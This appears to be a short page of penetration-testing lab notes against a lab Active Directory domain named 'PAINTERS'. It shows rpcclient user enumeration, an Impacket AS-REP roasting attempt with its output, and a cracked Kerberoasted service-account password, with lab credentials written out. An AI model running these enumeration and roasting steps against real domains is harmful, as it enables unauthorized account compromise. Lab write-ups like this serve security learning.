RPC

Usernames

rpcclient -U "PAINTERS/riley" 192.168.110.55
Password for [PAINTERS\riley]:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[riley] rid:[0x452]
user:[blake] rid:[0x453]
user:[gavin] rid:[0x454]
user:[daniel] rid:[0x455]
user:[tom] rid:[0x456]
user:[web_svc] rid:[0x457]
user:[Matt] rid:[0x1005]

ASREPRoasting

GetNPUsers.py PAINTERS/riley:P@ssw0rd -dc-ip 192.168.110.55 -usersfile domusers
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/home/anonmak9/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User riley doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User blake doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gavin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User daniel doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tom doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User web_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Matt doesn't have UF_DONT_REQUIRE_PREAUTH set

Kerberoasting

Hashcating - web_svc:!QAZ1qaz

PreviousSMBNextFoothold

Last updated